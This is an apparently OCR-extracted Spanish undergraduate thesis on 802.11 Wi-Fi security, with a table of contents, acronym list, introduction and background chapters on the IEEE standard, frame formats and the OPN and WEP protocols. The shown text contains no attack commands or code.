Universitat de les
Illes Balears
escola politecnica superior g

GRAU D’ENGINYERIA INFORMATICA

Analisis de la seguridad en 802.11

CARLOS MUNOZ LEDESMA

Tutor
M. Francisca Hinarejos

Treball Final de Grau

Escola Politecnica Superior
Universitat de les Illes Balears
Palma, 8 de septiembre de 2017






INDICE GENERAL

Indice general
Acrénimos
Resumen
1 Introduccién
1.1 Motivacion . . . . . . . . e e e
1.2 Objetivos . . . . . o i e e e e e
2 Seguridad en redes 802.11

4

2.1 EstdndarIEEE802.11 . . . . ... . . . ..ttt
2.1.1  Historia . .. ... .. .. e
2.1.2 Introducciénalestandar . ......................
2.1.3 Topologia . .. ... ... ... e
214 CapaFisica ... ... ... ... ... e
2.1.5 CapadeEnlace . ......... .. ... .. .. . ...
2.1.6 SEIVICIOS . . . v v v i i e e e
217 Tramas . . ..o o e e e e e e e e e
2.1.8 Estados en una conexion inaldmbrica . ........... ...
2.19 Evoluciéndelestdndar . .......................

2.2 Protocolosdeseguridad ............... .. ... ... ...,
221 OPN .. e
222 WEP . ..
223 WPA e
224 WPA2 . . e
225 802.1X .. i e e e
226 WPS ..

2.3 Futuro del estandar ydelos protocolos . . . ... ... ..........

Estudio de campo

3.1 Datosdecampo . . . . ...t e e e e e

3.2 DatosdeWIiGLE . . .. . ... .. . . e

Ataques generales a las redes inaldambricas

4.1 Escenariodepruebas . .. .. ... ... .. .. ... e
4.1.1 Hardware .. ... ... ... .. ...

iii

N =

© 00O Uk W ww

DN DN DN e e e e e e
Ol i = O O W W W NN

27
27
31



ii INDICE GENERAL
4.1.2 Software . . ... ... ... e 34

4.1.3 Escenarios . . .. .. ... ... 35

4.2 Fasesdeuntestdepenetraciéon .. ....... ... ... ... ..., 37

4.3 Tiposdeataquesgenerales . . . ... ... .. ... ... 39
4.3.1 AtaquespasiVOS . . . . . . it i e e e e e e e e e e 40

4.3.2 Ataquesactivos . . . . . . . i it e e e e e 41

4.4 AtaquesbasiCOs . . . . ... e e e 42
4.4.1 Tarjetaderedenmodomonitor . . ................. 43

4.4.2  Modificacién de la Media Access Control MAC) . . .. ... .. 45

443 Capturadepaquetes . . . .. ... .. ... ... 46

444 SuperarfiltradoMAC ... ... ... ... ..., 48

4.4.5 Descubrimientode SSIDocultos. . . ... ... .......... 50

446 TestdeinyecciOn . . . .. ... . ...t 52

4.4.7 Reinyeccionde paquetes . .. ... .. ... ... ... 53

4.4.8 Desautenticacion y denegaciéon de servicio . .. ......... 54

449 EvilTwin . .. ... . e 56

5 Ataques alos protocolos de seguridad 802.11 61
5.1 Ataquesaredesabiertas ... ............ .. .. ... 61

5.2 AtaquesWEP . . . . . L e 64

53 Ataques WPA/WPA2 . . . . . .. .. . e 68
53.1 WPA/WPA2-PSK . . . . . . e 69

5.3.2 WPA/WPA2-EAP . .. . . . i 73

54 Ataques WPS . . . .. 77

5.5 Andlisis generaldeseguridad . .............. ... ..., 79

6 Conclusiones 81

Bibliografia 83



ACRONIMOS

AAD Additional Authentication Data

ACK Acknowledgement

AES Advanced Encryption Standard

ARPANET Advanced Research Projects Agency Network
ANonce Authenticator Nonce

AP Access Point

ARP Address Resolution Protocol

AS Authentication Server

ASCII ASCII

BSS Basic Service Set

BSSID Basic Service Set IDentifier

CA Certification Authority

CCM Counter Mode with Cipher Block Chaining Message Authentication Code
CCMP CCM Protocol

CRC Cyclic Redundancy Check

CSMA Carrier Sense Multiple Access

CSMA/CA Carrier Sense Multiple Access with Collision Avoidance
CTS Clear To Send

DA Destination Address

DCF Distributed Coordination Function

DHCP Dynamic Host Configuration Protocol

DIFS Distributed InterFrame Space

DoS Denial of Service

iii



iv

DS Distribution System

EAP Extensible Authentication Protocol
EAPOL EAP Over LAN

ESS Extended Service Set

ESSID Extended SSID

FAQ Frequently Asked Questions

FCC Federal Communications Commission
FCS Frame Check Sequence

GMK Group Master Key

GPS Global Positioning System

GTK Group Temporal Key

HCF Hybrid Coordination Function

HTTP HpyperText Transfer Protocol

HTTPS HyperText Transfer Protocol Secure
IBM International Business Machines
IBSS Idependent Basic Service Set

ICV Integrity Check Value

IEEE Institute of Electrical and Electronics Engineers
10T Internet of Things

IP Internet Protocol

IV Initialization Vector

KCK Key Confirmation Key

KEK Key Encryption Key

LAN Local Area Network

LEAP Lightweight EAP

LLC Logical Link Control

MAC Media Access Control

MBSS Mesh Basic Service Set

MCF Mesh Coordination Function

ACRONIMOS



MD5 Message-Digest Algorithm 5

MGT ManaGemenT

MIC Message Integrity Code

MITM Man In The Middle

MPDU MAC Protocol Data Unit

MSDU MAC Service Data Unit

MSK Master Session Key

MS-CHAPv2 Microsoft Challenge-Handshake Authentication Protocol version 2
NFC Near Field Communication

OPN Open

OSI Open System Interconnection

P2P Peer-to-Peer

PAE Port Access Entity

PBC Push-Button-Connect

PC Point Coordinator

PCF Point Coordination Function

PEAP Protected Extensible Authentication Protocol
PIN Personal Identification Number

PMK Pairwise Master Key

PN Packet Number

PSK Pre-Shared Key

PTK Pairwise Transient Key

PTW Pyshkin, Tews, Weinmann

QoS Quality of Service

RADIUS Remote Authentication Dial-In User Service
RAM Random Access Memory

RC4 Rivest Cipher 4

RSSI Received Signal Strength Indication

RTS Request To Send



vi

SA Standards Board

SK Shared Key

SKA Shared Key Authentication
SNonce Suplicant Nonce

SOHO Small Office/Home Office
SSID Service Set IDentifier

STA Station

TA Transmitter Address

TBTT Target Beacon Transmission Time
TFG Trabajo Final de Grado

TIM Traffic Indication Map

TK Temporal Key

TKIP Temporal Key Integrity Protocol
TLS Transport Layer Security

TSC TKIP Sequence Counter

TTAK TKIP-mixed Transmit Address and Key
WPA Wi-Fi Protected Access

WPA2 Wi-Fi Protected Access 2

WEP Wired Equivalent Privacy
Wi-Fi Wireless Fidelity

WLAN Wireless LAN

WPS Wi-Fi Protected Setup

USB Universal Serial Bus

VHF Very High Frequency

ACRONIMOS



RESUMEN

El uso de redes inaldmbricas es muy frecuente en la actualidad, la mayoria de los
individuos estan conectados a través de sus dispositivos a Internet y, practicamente
pueden hacerlo desde cualquier ubicacion. Por lo tanto, se hace necesario estudiar
los peligros que conlleva utilizar una red inaldmbrica sin la correcta configuraciéon de
seguridad.

Unared inaldmbrica da movilidad a los clientes mediante el uso de ondas que se
transmiten por el aire. Aunque no sélo es mds accesible para los clientes, sino también
para los posibles atacantes, donde toda la informacién que intercambia el cliente viaja
por el aire y puede ser interceptada con facilidad.

Este Trabajo Final de Grado (TFG) estudia la seguridad de las redes inaldmbri-
cas 802.11, los ataques mdas comunes que pueden sufrir, sus vulnerabilidades y las
contramedidas oportunas.
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CAPITULO

INTRODUCCION

1.1 Motivacion

La necesidad de estar conectados a Internet y la constante utilizacién de las redes
inaldmbricas por la mayoria de individuos hacen que actualmente la seguridad en las
redes sea objetivo de estudio. Las redes inaldmbricas se han hecho omnipresentes, y
cualquiera tiene acceso a Internet, ya sea en su casa, en el trabajo o en lugares ptiblicos.

Para conectarse a una red inaldmbrica, la tecnologia Wireless Fidelity (Wi-Fi) es
una de las tecnologias lider en la comunicacién inaldmbrica y cumple el estdndar
802.11. Las transmisiones de datos en redes inaldmbricas son menos seguras que en
los medios cableados, pero ofrecen una gran movilidad a cambio de mayores riesgos y
vulnerabilidades.

Ademads, el numero de clientes que ignoran los riesgos y vulnerabilidades de las
redes inaldmbricas estd aumentando. Los clientes se conectan a redes sin seguridad o
con una seguridad débil, dejando expuesta toda su comunicacién a un posible hacker.
Asimismo, la exposicién a un supuesto hacker se ve incrementado cuando la mayoria de
los clientes no modifican la configuracion de seguridad implementada por defecto por
el proveedor de Internet. De este modo, un atacante con los conocimientos adecuados,
puede llevar a cabo acciones como:

¢ Intento de acceder a la red inalambrica obteniendo la clave de acceso.

e Intercepcion yrobo de informacion, ya sea informacién compartida entre clientes
o credenciales de acceso.

¢ Modificacion o reenvio de la informacién interceptada.
e Inutilizacién de la red mediante ataques de denegacién de servicio.

Por estos motivos es importante proteger las redes inaldmbricas de una manera robusta.
Ademads, también es necesaria una mayor concienciacién social de la necesidad de
evaluar y mejorar la seguridad de las redes que utilizan los clientes.



1. INTRODUCCION

1.2 Objetivos

Este proyecto, en todas sus fases de documentacion y estudio, ha supuesto una pro-
fundizacién y aprendizaje sobre la seguridad en las redes inaldmbricas 802.11 y de la
ejecucion de ataques que no se han visto durante el transcurso del Grado en Ingenieria
Informatica. De esta forma, es posible afirmar que con los conocimientos esenciales de
la formacién universitaria y un trabajo de investigacién en distintas bibliografias, es
posible indagar en el campo de la seguridad en las redes 802.11.

A través de este proyecto se pretende demostrar la importancia que tiene una
correcta configuracién de seguridad en las redes inaldmbricas y advertir a los clientes
de redes inaldmbricas 802.11 de las inseguridades que tienen este tipo de conexiones,
demostrar sus vulnerabilidades y posibles contramedidas en caso de que no se use una
configuracién adecuada.

Los objetivos de este TFG son poner en valor una adecuada configuracion de se-
guridad en las redes inaldmbricas para evitar ataques, explicar las caracteristicas que
tienen este tipo de redes, conocer los diferentes protocolos de seguridad y demostrar
mediante ataques practicos, la exposicion a la que se encuentran tanto los equipos, los
administradores de red como los clientes, y las posibles contramedidas a los ataques.

Para llegar a cumplir estos objetivos, el proyecto se divide en seis capitulos:

1. Introduccién al proyecto con la motivacién y objetivos.

2. Introduccién al estdndar Institute of Electrical and Electronics Engineers (IEEE)
802.11 de redes inaldmbricas en el que se basa la tecnologia Wi-Fi. Se estudia
la informacién necesaria para los préximos capitulos, desde la informacién de
redes inaldmbricas en general y de sus protocolos de seguridad.

3. Estudio de campo realizado en la ciudad de Palma. En el capitulo se exponen
los sistemas de seguridad que se utilizan hoy dia en la ciudad de Palma y se
comparan con los datos mundiales obtenidos de la pagina de Internet WiGLE,
una plataforma digital que retine informacién sobre todas las redes inaldmbricas
del mundo y la unifica en una base de datos.

4. Andlisis, ejecucion y contramedidas de los ataques generales a las redes Wi-Fi.

5. Andlisis, ejecucién y contramedidas de los ataques mas comunes a los protocolos
de seguridad 802.11.

6. Conclusiones obtenidas al realizar el proyecto.



CAPITULO

SEGURIDAD EN REDES 802.11

En este capitulo se explican los fundamentos basicos necesarios para entender las redes
inaldmbricas y especialmente su seguridad, en concreto en las redes del estdindar IEEE
802.11. Se hace un recorrido por la historia de las redes inaldmbricas, su estructura,
la evolucion del estdndar, los distintos protocolos de seguridad contemplados en el
estdndar 802.11 y el futuro que le depara a estas redes.

2.1 Estandar IEEE 802.11

2.1.1 Historia

Es importante saber de dénde venimos y por ello se hard un breve recorrido por la
historia. La primera red inaldmbrica tuvo que esperar hasta 1971 y recibi6 el nombre de
AlohaNet. Esta red fue desarrollada en la universidad de Hawaii por un grupo de inves-
tigadores dirigido por Norman Abramson. Estaba compuesta por varios ordenadores
localizados en distintas islas que se comunicaban con un ordenador central (su estruc-
tura se puede ver en la figura 2.1). Cuando dos o mds estaciones querian transmitir
simultdneamente, las sefiales se superponian dando error. Como solucién, se emple6 el
mecanismo basado en la deteccién de portadora o Carrier Sense Multiple Access (CSMA)
para obtener una eficiencia mayor. Cada estacion, en el instante que va a transmitir,
sondea el canal. Si ya hay una transmisién en curso pospondrd la transmisién. Este
método serd el precursor a las redes Wi-Fi que hay actualmente.
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Figura 2.1: Estructura de AlohaNet [1]

En 1973 AlohaNet us6 un transpondedor de Very High Frequency (VHF) en un satéli-
te de la NASA experimental para demostrar que se podia crear una red internacional de
datos por satélite nombrada PacNet. Conectaba la NASA en California y cinco universi-
dades de los Estados Unidos, Japén y Australia. En ese mismo afio, AlohaNet y PacNet
se unieron formando Advanced Research Projects Agency Network (ARPANET), una red
creada por el Departamento de Defensa de los Estados Unidos [2].

En 1979 cientificos de International Business Machines (IBM) desplegaron una red
con tecnologia infrarroja en Suiza, aunque no es hasta 1985 cuando se desarrolla la
comercializacién de las redes inaldmbricas. A su vez, el 6rgano regulador del espectro
americano, la Federal Communications Commission (FCC), asigné dos bandas de fre-
cuencia gratuitas para su uso, 2.4GHz y 5GHz. En este momento se puso en marcha
el IEEE, formando un grupo de trabajo con el nombre de 802.11 para desarrollar una
tecnologia de red para las bandas de frecuencia mencionadas anteriormente [3].

2.1.2 Introduccion al estandar

Un estdndar define un conjunto de procesos, protocolos o técnicas para realizar algo
de una forma concreta. El IEEE es una organizacién profesional sin &nimo de lucro
dedicada a la estandarizacién y desarrollo de estdndares en dreas técnicas.

Un estdndar es elaborado por un grupo de trabajo formado por desarrolladores
interesados en la creacion del estdndar. Posteriormente, es creado el primer borrador
del documento y se escribe el proyecto inicial. Después, se desarrolla el proyecto a
partir de los documentos y especificaciones existentes. Y por tltimo es refinado a través
de muiltiples iteraciones y opiniones. El consenso de lo que debe incluir cada estandar
se determina a través de una votacién de personas y organizaciones interesadas. La
aprobacion definitiva del estdndar es concedida por la IEEE-Standards Board (SA) [4].

De este modo surgid y se elabor6 el estdndar 802.11, como un conjunto de normas
a seguir para las comunicaciones inaldmbricas en redes de corto alcance, Wireless
LAN (WLAN). El estandar IEEE 802.11 para las telecomunicaciones e intercambio
de informacién entre los sistemas de redes de area local WLAN define los requisitos
especificos para la capa fisica y para la subcapa MAC que junto a la subcapa de control

4
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de enlace l6gico, Logical Link Control (LLC), forman la capa de enlace del modelo Open
System Interconnection (OSI) [5]. Se puede ver el modelo OSI en la figura 2.2.

Presentation

Session

Transport

Network

Data Logical Link Control (LLO)—802.2

Link Media Access Control (MAC)

802.11

Physical

Figura 2.2: Modelo OSI [6]

El estudio del estdndar que se realiza a continuacién, proporciona unas nociones
bésicas y una visién general de las 2 capas del modelo OSI. La estrategia bottom-top es
la utilizada en este estudio, primero se explicaré la capa fisica y posteriormente la capa
de enlace.

2.1.3 Topologia

La arquitectura en una red IEEE 802.11 consta de varios componentes que interac-
tlan para proporcionar movilidad a una Station (STA) de forma transparente a las
capas superiores. Cada STA tiene una tarjeta de red propia para poder comunicarse
directamente con otras STA o a través de un Access Point (AP).

El estandar 802.11 distingue dos tipos de arquitectura en una red inaldmbrica,
modo infraestructura y modo ad-hoc.

Modo infraestructura

La topologia mds conocida y empleada es la arquitectura en modo infraestructura. En
esta arquitectura se hace uso de un AP para la comunicacién entre las distintas STA'y
permite vincular la red inaldmbrica con una red cableada. Un Basic Service Set (BSS) es
la zona de cobertura que suministra un AP y donde transmite a un rango de frecuencia.
Dependiendo del rango de frecuencia, el BSS transmitird por un canal u otro. En la
figura 2.3 se puede ver un esquema de su organizacion [5].
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Todos los datos de las comunicaciones entre las STA pasan obligatoriamente por el
AP. Lared cableada que se vincula con un AP se denomina Distribution System (DS). El
DS se puede conectar a varios AP con el objetivo de ofrecer mayor zona de cobertura
y se conoce como Extended Service Set (ESS). El DS permite la conexién de las STA a
Internet [7].

Distribution System (DS)

A |
D) (o
d 6y

Extended Service
Set (ESS)

Basic Service ((p))

Figura 2.3: Arquitectura en modo infraestructura [7]

Modo ad-hoc

Las redes ad-hoc o Idependent Basic Service Set (IBSS) son un tipo de redes inaldmbricas
formadas por un conjunto de STA que se comunican entre si, Peer-to-Peer (P2P), sin la
necesidad de una infraestructura de red, es decir, sin un AP ni acceso a Internet. Suelen
ser redes de cardcter temporal y flexibles. Por ello, pueden ser montadas y desmontadas
con rapidez. Este tipo de redes son menos empleadas ya que suelen ser destinadas
para propoésitos concretos donde no se pueda crear una red en modo infraestructura, o
no haya tiempo de crearla. Por ejemplo, en lugares de guerra como bases militares, o
después de desastres naturales en equipos de emergencia, entre otros. En la figura 2.4
se puede ver un dibujo que representa una arquitectura ad-hoc [5].

2.1.4 Capa Fisica

La capa fisica, o capa 1 del modelo OS], corresponde al nivel mas bajo del modelo. La
capa fisica es la encargada de transmitir informacién al medio fisico y de suministrar
servicios a la capa superior a ella.

Las mejoras del estdndar 802.11 consisten en incrementar la velocidad de la capa
fisica manteniendo el mecanismo de acceso y el formato de trama. En la tabla 2.1 se
pueden observar las distintas versiones de capa fisica con sus velocidades de trans-
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Figura 2.4: Arquitectura en modo ad-hoc [7]

ferencia. Cabe destacar que la tltima version, 802.11 ah, es el siguiente paso en la
evolucion hacia el Internet of Things (IoT)'. No busca gran velocidad pero si mucho
alcance llegando hasta un kilémetro de distancia. [5]

Denominacién y Banda de Velocidad de
afio de publicacién frecuencias transferencia
802.11 (legacy) (1997-1999) | Infrarrojos, 2.4 GHz 1-2 Mbps

802.11a (1999) 5 GHz 6-54 Mbps
802.11b (1999) 2.4 GHz 6-11 Mbps
802.11¢g (2003) 2.4 GHz 6-54 Mbps
802.11n (2009) 2.4/5 GHz <600 Mbps

802.11ac (2010) 5 GHz <3200 Mbps

802.11ad (2014) 60 GHz <6760 Mbps
802.11ah (2016) 0.9 GHz >100 Kbps

Tabla 2.1: Versiones de la capa fisica [7][8][9]

2.1.5 Capade Enlace

La capa de Enlace, o capa 2 del modelo OS], en el estandar 802.11 se divide en dos
subcapas, la subcapa MAC y la subcapa LLC.

Subcapa MAC

La subcapa MAC es un grupo de protocolos para establecer, coordinar y mantener la
comunicacion entre STA. Dentro del estdndar 802.11 se distinguen cuatro mecanismos
de acceso en la subcapa MAC [5]:

1Su traduccién seria el Internet de las Cosas y hace referencia a la interconexién de todos los dispositi-

vos a Internet.
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e Modo Distributed Coordination Function (DCF): Este es el mecanismo funda-
mental del estdndar IEEE 802.11 sobre MAC. Es conocido como Carrier Sense
Multiple Access with Collision Avoidance (CSMA/CA). En el momento que una
STA quiere transmitir sondea el canal, si se encuentra libre seguiré con el sondeo
durante una fraccion de tiempo que tiene el nombre de Distributed InterFrame
Space (DIFS). Tras esta breve espera, si el canal sigue libre, la STA transmitira. Si
el sondeo de la STA notifica que el canal estd ocupado, se ejecutaré el algoritmo
de backoff sin que la STA intente transmitir. Durante la ejecucién del algoritmo
de backoff, sila STA detecta el canal ocupado detendr4 el algoritmo, hard una
escucha persistente del canal, esperard un tiempo DIFS y reanudar4 el algoritmo
si el canal queda libre.

* Modo Point Coordination Function (PCF): Por otro lado, el estdndar IEEE 802.11
sobre MAC incorpora otro mecanismo de acceso opcional. Sélo es permitido en
topologias de red de infraestructura. Este mecanismo utiliza un Point Coordinator
(PC) que actuard en el &mbito del AP para averiguar qué STA tiene permiso para
transmitir. Este mecanismo de polling permite que no haya competencia entre
STA ni colisiones a la hora de transmitir.

* Modo Hybrid Coordination Function (HCF): La implantacién de un Quality of
Service (QoS) incluye este mecanismo. HCF es una mezcla de los mecanismos de
DCF y PCF.

* Modo Mesh Coordination Function (MCF): Este mecanismo s6lo se implemen-
tara en redes Mesh Basic Service Set (MBSS).

Subcapa LLC

La subcapa LLC no es precisamente tinica del estdndar 802.11, sino que es comun para
el resto de estdndares IEEE 802. Esta subcapa ofrece un servicio de transporte tinico
para todas las tecnologias [5].

2.1.6 Servicios

Unared 802.11 ofrece una serie de servicios a las STA y los AP. Estos servicios forman
parte de la subcapa MAC y ayudan a gestionar y mantener las comunicaciones en la
red [5]. Los servicios de arquitectura IEEE 802.11 mds relevantes son los siguientes:

* Autenticacién: permite enviar o recibir tramas mediante el AP siempre y cuando
el servicio de asociacién haya sido ejecutado con éxito y se haya unido la STA a la
red. Para unirse a la red la identificacién de la STA debe ser satisfactoria. Hay dos
tipos de servicios de autenticacién:

— Autenticacién de clave abierta: estd presente en una red abierta, es decir,
sin contrasefia, donde cualquier STA queda autorizada.

— Autenticaciéon de clave compartida: en este caso la STA debe conocer unas
credenciales para poder autenticarse en la red. Las credenciales pueden ser
un usuario y contrasena o s6lo una contrasefa de red establecida anterior-
mente en el AP.
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¢ Desautenticacion: este servicio se manifiesta en el momento que un AP o una
STA pretende terminar la autenticacién e implica una desasociacién de la STA.

¢ Confidencialidad: sistema de cifrado para que la comunicacién llegue al desti-
natario y sélo éste pueda descifrar el contenido de la comunicacién. Las claves
de descifrado se determinan durante el proceso de autenticacién.

* Entrega de MAC Service Data Unit (MSDU): se dedica a transmitir la informa-
cién requerida por la subcapa MAC, transportdandola hacia las capas superiores
llegando a los distintos AP.

¢ Asociacién: para poder usar la red una STA debe estar vinculada a un AP. Sélo es
posible estar ligado a un AP al mismo tiempo. De este modo el DS conoce el AP
donde se encuentra la STA. La asociacién la inicia la STA.

¢ Desasociacion: da la posibilidad a un AP o a una STA de concluir la asociacion.

* Reasociacidn: permite que una STA deje la asociacion de un AP para asociarse
a otro AP. Esto ocurre cuando una STA se mueve de un BSS a otro dentro del
mismo ESS.

2.1.7 Tramas

El estandar IEEE 802.11 define el formato de trama MAC y éste varia seglin el tipo de
trama [5]. El formato general de una trama MAC se puede ver en la figura 2.5.

2 2 6 6 6 2 6 2 4 0-7951 4
Frame Duration | Address | Address | Address | Sequence | Address QoS HT Frame FCS
Control /D 1 2 3 Contral 4 Control | Contral Body
-y

MAC Header

Figura 2.5: Formato de trama MAC general [5]

Hay tres tipos de tramas y definiremos cada uno de los campos teniendo en cuenta
que los campos comunes entre los tipos de tramas s6lo se definirdn una vez:

¢ Tramas de datos: tramas destinadas para la transmisién de informacién entre
STA de los usuarios. El formato de una trama de datos se puede ver en la figura
2.6

— Frame control: este campo se divide en 11 subcampos.
= Version: version del protocolo 802.11 empleada. Actualmente su valor
es 00y estd pensado para futuras versiones de la capa MAC.
* Type: tipo de la trama. Puede ser de datos, de control o de gestién.

* Subtype: subtipo de la trama. Por ejemplo, una trama de tipo de control
contendrd el subtipo Request To Send (RTS), Clear To Send (CTS) o
Acknowledgement (ACK).

+ To DS: flag que indica que la trama se dirige al DS ya que su destinatario
estd fuera del BSS.
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+ From DS: flag que indica que la trama procede del DS y que su emisor
original reside fuera de la BSS del destinatario.

* More fragments: flag que indica que la trama estd dividida en fragmen-
tos, que aun tienen que llegar més fragmentos y que no es el tltimo.

* Retry: flag que indica que la trama es un reenvio de una trama anterior.

* Power management: flag que indica al AP que la STA va a activar el
modo de bajo consumo. En tal caso, el AP almacenard en un buffer las
tramas destinadas a esa STA y cuando ella las solicite se las entregara.

* More data: flag que indica que la estacién emisora tiene més tramas
para enviar a la STA receptora.

* Protected: flag que indica del cifrado de los datos del cuerpo de la trama.

* Order: flag que indica de que la capa superior desea recibir las tramas
ordenadas.

— Duration: tiempo en microsegundos de reserva del canal.

— Address I. direccion MAC de la STA receptora.

— Address 2: direccion MAC de la STA emisora.

— Address 3: direccién MAC de la STA destinataria.

— Sequence o Secuence Control: nimero de secuencia de trama.

- Address 4: s6lo se emplea en tramas en transito a través del DS. Address 1y
2 pasarian a ser direcciones MAC de STA emisora y receptora inmediatas
respectivamente. Por otro lado, Address 3 y 4 pasan a ser STA destinatariay
origen respectivamente.

— Payload: es el campo donde residen los datos, el MSDU. Los primeros bits
pertenecen al encapsulado de la subcapa LLC.

— Frame Check Sequence (FCS): campo de control de errores generados du-
rante la transmision. Emplea un Cyclic Redundancy Check (CRC) de 32 bits
para detectarlos.

Bytes — 22— 42— t——H6——¢—b——>¢——b6b——r>—2—>——6—>«0-2312>—4—>

Frame . Addressi Address2
control Duration (receiver) | (transmitter) Address3 | Sequence | Address4 | Payload FCS
DSAP SSAP CTRL oul Type
Bytes «—1—»<+—1—<¢«—1—><+—3—>«—2—>
More Power More —
Version | Type |Subtype| To DS |From DS frag, Retry manag. | data Protected | Order

Bits +«—2—p+—2——A4—3—1——1—3t—1—3—1—>—1—>—1—3—1——1—>
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Figura 2.6: Formato de trama de datos [7]
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* Tramas de control: tramas que ayudan en la transferencia entre STA. El formato
de las distintas tramas de control se puede ver en la figura 2.7. Se diferencian tres
tipos de tramas de control:

- Tramas RTS: permiten iniciar la comunicacién con una STA. Informa a
todas las STA a su alcance de que se procede a una transmision.

— Tramas CTS: responden a las tramas RTS con el fin de establecer el canal
libre de transmisiones para empezar una transmisién de datos con éxito.

- Tramas ACK: confirman la entrega de tramas de datos correctamente. Si
esta trama no es recibida por el emisor entonces reenvia la trama de datos.

Bytes «—2—>»4+—2—p»4—H—>—4—>

Frame . Address 1
Duration

, FCS
control (recaiver)

(a)

Bytes +—2——»<¢«—2—»4+—H—r4t—b—>«—1—>

Frame Duration Address 1 Address 2 ECS
control (receiver) | (transmitter)
(b

Figura 2.7: Formato de tramas de control: (a) CTS y ACK, y (b) RTS [7]

¢ Tramas de gestién: permiten mantener las comunicaciones entre STA. Hay va-
rios tipos de tramas de gestién pero entre las més destacadas estdn la trama
beacon, probe request, probe response. La trama beacon es enviada por el AP pe-
ri6dicamente para informar a las STA en el BSS de su existencia y de diversos
valores del sistema. Normalmente se envia cada 100 ms y puede configurarse por
el valor deseado. La informacién mads relevante contenida en las tramas beacon
es la siguiente:

— Service Set IDentifier (SSID): Identificacién del BSS abastecido por el AP.

— Supported rates: Velocidades de transmision soportadas.

— Traffic Indication Map (TIM): Indica a cualquier STA dormida que esté
escuchando si el AP tiene datos almacenados para ella.

— Timestamp: Empleado para la sincronizacion de relojes internos entre una
STA con el AP.

— Beacon interval: Intervalo de tiempo, entre el envio de cada beacon, Target
Beacon Transmission Time (TBTT).

— Parametros de seguridad. [5]

11
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2 2 B 6 6 2 4 0-2320 4
Frame - y Sequence HT Frame
Control Duration Address1 | Address 2 | Address 3 Control Control Body FCS
-l -
MAC Header

Figura 2.8: Formato de trama de gestion [5]

2.1.8 Estados en una conexion inalambrica

Para que una STA pueda asociarse con éxito a un AP debe realizar los tres pasos siguien-
tes (ver figura 2.9) [10]:

¢ Estado 1: Escaneo del medio con el fin de obtener las distintas caracteristicas de
los AP.

¢ Estado 2: Autenticacién de la STA pero todavia sin asociacion.

» Estado 3: Tras la autenticacion se realiza la asociacion de la STA por parte del AP.

&

Successful
[re] association

(o

Successful
authentication

W

Figura 2.9: Diagrama de estados a una conexién inaldmbrica [10]

State 3
Authenticated
and associated

Disassociation
v
State2

Authenticated
and unassociated

Deauthorization

Deauthorization
v

State 1

Unauthenticated
and unassociated

2.1.9 Evolucion del estandar

El estdndar 802.11 ha evolucionado con los afios. El IEEE ha desarrollado distintas
versiones del estdndar mejorando diversas caracteristicas de los componentes, como
por ejemplo, la velocidad de transmisidn, el alcance, la compatibilidad y la seguridad,
entre otros [11]. En este apartado nos centraremos s6lo en la evolucién del estandar
referente a la aparicion de protocolos de seguridad.
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La version original del estdndar 802.11 fue publicada el 1997. En ella, se diferencia-
ban dos tipos de configuracién de WLAN. Primero estaban las redes de acceso abierto,
Open (OPN), donde no habia ningtin mecanismo de seguridad. Por otro lado, el pro-
tocolo Wired Equivalent Privacy (WEP) publicado en 1999 si ofrecia seguridad. Con
el paso del tiempo, se comprueba que el protocolo WEP era deficiente en cuanto a
seguridad y a partir de 2004 se desaconseja su uso.

Para subsanar esta deficiencia, la Wi-Fi Alliance? cre6 un protocolo de migracién
con el nombre de Temporal Key Integrity Protocol (TKIP), donde ofrecia mayor segu-
ridad que el protocolo predecesor. Utilizaba el mismo algoritmo de cifrado, Rivest
Cipher 4 (RC4), lo que ayud6 a ser compatible con dispositivos que empleasen WEP.
Este protocolo de transicion se le conoce como Wi-Fi Protected Access (WPA) y consi-
guié garantizar en gran medida la seguridad en cuanto a integridad, autenticacién y
privacidad.

Posteriormente, con el estdndar IEEE 802.11i, apareci6 CCM Protocol (CCMP) co-
nocido por el nombre de Wi-Fi Protected Access 2 (WPA2). WPA2 ofrece, a parte de los
servicios de seguridad de integridad, autenticacién y privacidad de WPA, una mayor
robustez en el algoritmo de cifrado. WPA2 utiliza el algoritmo Advanced Encryption
Standard (AES), en lugar de RC4 empleado en los protocolos anteriores. Con este cam-
bio, los dispositivos anteriores dejaron de ser compatibles y desde la aparicién del
protocolo WPA2, las empresas que proveen Internet ya lo implementan de manera
predeterminada en los nuevos AP.

Ademmds, estd la autentiacién 802.1x, donde mediante un servidor que almacena
las credenciales para la autenticaciéon, comprueba si las credenciales introducidas por
los usuarios coinciden [5].

Cabe nombrar también el protocolo Wi-Fi Protected Setup (WPS), donde su objetivo
es facilitar la configuracion de las redes, principalmente domésticas, que empleasen
WPA o WPA2.

2.2 Protocolos de seguridad

En este apartado se explican los distintos protocolos de seguridad nombrados en el
apartado 2.1.9.

2.2.1 OPN

Protocolo de acceso abierto a cualquier cliente que esté al alcance del AP. No realiza
una autenticaciéon de los clientes ni tampoco el cifrado de los datos intercambiados

[12].

2.2.2 WEP

El primer protocolo definido en el estdndar IEEE 802.11 que ofrece seguridad es WEP.
Surgié como medio para proporcionar autenticacién y cifrado en las comunicaciones de
una red WLAN. Este protocolo pertenece a la capa 2 del sistema OS], la capa de enlace.

20rganizacion sin d4nimo de lucro con el fin de promover la tecnologia Wi-Fi y certificacién de
productos de esta tecnologia.

13
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Actualmente, ya obsoleto, ofrece una seguridad muy baja. Atn asi, cabe estudiarlo para
apreciar la evolucién de seguridad de los distintos protocolos del estdndar y porque
los AP atin implementan este protocolo con la posibilidad de utilizarlo, aunque no se
aconseja.

WEP distingue dos sistemas de autenticacion [12]:

Open System:el AP autentica a todas las STA que deseen conectarse. Atin asf, la
STA debe conocer la Pre-Shared Key (PSK) para cifrar y descifrar las tramas.

Shared Key: pretende que las STA se autentiquen si conocen la clave compartida,
Shared Key (SK).

WEP emplea un algoritmo de cifrado RC4 con el fin de cifrar los datos ubicados
en el payload o MSDU de la trama intercambiada entre la STA y el AP. Para el cifrado
dispone de los siguiente elementos:

RC4: Algoritmo empleado para generar la keystream que puede ser de 64 0 128
bits. RC4 es simétrico, es decir, con la misma clave que se cifra se descifra.

Initialization Vector (IV): Vector de inicializacién de 24 bits. Parte dindmica de la
keystream donde cada trama tiene un IV distinto generado aleatoriamente. Ya que
es un nimero bajo de bits, es posible que haya IV repetidos en una comunicacién
que transfiera mucha informacién. El IV es la componente no cifrada de la trama
WEP.

MSDU: Informacién a transmitir que junto al IV forman la trama WEP.

Clave WEP: clave precompartida, PSK, entre el AP y la STA. La clave alcanza 40 o
104 bits dependiendo de la implementaci6n.

Algoritmo CRC-32: detector de errores para verificar que los datos han llegado
correctamente.

